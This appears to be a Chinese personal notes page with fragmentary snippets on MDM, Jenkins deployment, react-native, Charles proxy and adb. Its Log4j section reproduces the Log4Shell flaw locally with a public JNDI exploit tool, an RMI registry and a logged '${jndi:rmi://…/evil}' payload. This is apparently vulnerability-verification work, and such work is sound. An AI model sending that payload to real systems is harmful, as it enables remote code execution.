mdm 服务器搭建
术语解释
MDM全程为Mobile Device Manager,是苹果提供的一套企业级管理Apple设备的方案,意在帮助企业统一管理监控设备
2021-12-10 log4j漏洞处理
(代码地址)[http://gitlab.foxhello.com/challenge/log4j2-issue]
下载地址:https://github.com/welk1n/JNDI-Injection-Exploit
1 | java -jar ~/Downloads/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A "127.0.0.1" -C "open /Applications/Safari.app" |
1 | # 端口、路径见1中打印的日志 |
指定路径和端口
1 | LocateRegistry.createRegistry(1099); |
1 | public class Test { |
1 | python3 -m http.server 8080 |
1 | logger.error("${jndi:rmi://192.168.31.212:1099/evil}"); |
注意:springboot2以上,使用logback;只有log4j-api包,不存在漏洞,使用log4j-core实现类存在问题
现有都为 Linux,区分 centos、ubuntu 及各个版本;
应用部署重复工作
表现:有多个服务在多个节点上,现有需要手动部署,重复工作
解决方案 1: 使用 jenkins 自动化部署
引申问题 1: 不能同时部署多个应用 —— shell 命令添加参数、jenkins 添加入参
引申问题 2: 不能只部署几台服务器 —— 同上
引申问题 3: 跳板机执行存在问题,即有些命令不能使用 —— 见【环境问题 1】
引申问题 4:数据同步 sftp 命令烦杂 —— 使用 scp、ansibile
1 | # 增量同步:rsync 但是要求源主机、目的主机都安装rsync |
引申问题 5:
解决方案 2: 使用运维工具
服务器运行监控
表现:服务器运行监控
解决方案:
应用日志管理
表现:现有日志都要到服务器查看
解决方案:远程 web 查看
每月执行事务
1 | # adb 版本信息 |
react-native 命令安装
1 | npm install -g yarn |
1
2
3
4
5
6
react-native init AwesomeProject --version 0.44.3
cd AwesomeProject
react-native run-ios
nvm alias default v14.16.1react-native init MyApp --version 0.44.32.
不能查看 iphone 的 https 请求内容
没有在手机安装证书: 访问 chls.pro/ssl 安装证书
设置 -> 通用 -> 描述文件 -> Charles Proxy CA 验证
配置证书信任设置
设置 -> 通用 -> 关于本机 -> 证书信任设置
关闭 Charles,电脑不能访问网站
在 网络 -> 打开网络偏好设置 -> 对应网络,高级 -> 代理 -> 网页代理、安全网页代理 -> 不选中
3.
1 | # 查看连接的android设备 |
使用应用:GT、ML Manager
1 | # 获得手机里面今日头条极速版apk的应用信息、版本信息 |
1 | adb shell am start -n breakan.test/breakan.test.TestActivity |
1 | export CF_Key="" |